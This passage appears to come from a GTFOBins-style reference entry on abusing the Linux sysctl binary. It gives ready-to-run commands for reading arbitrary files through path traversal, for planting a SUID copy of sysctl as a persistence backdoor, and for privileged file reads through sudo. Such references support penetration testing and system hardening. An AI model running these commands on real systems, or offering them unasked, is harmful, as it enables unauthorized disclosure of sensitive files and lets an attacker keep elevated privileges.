-p argument can also be used in place of
-n. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read /usr/sbin/sysctl -n "/../../$LFILE"
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.
sudo sh -c 'cp $(which sysctl) .; chmod +s ./sysctl' LFILE=file_to_read ./sysctl -n "/../../$LFILE"
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
LFILE=file_to_read sudo sysctl -n "/../../$LFILE"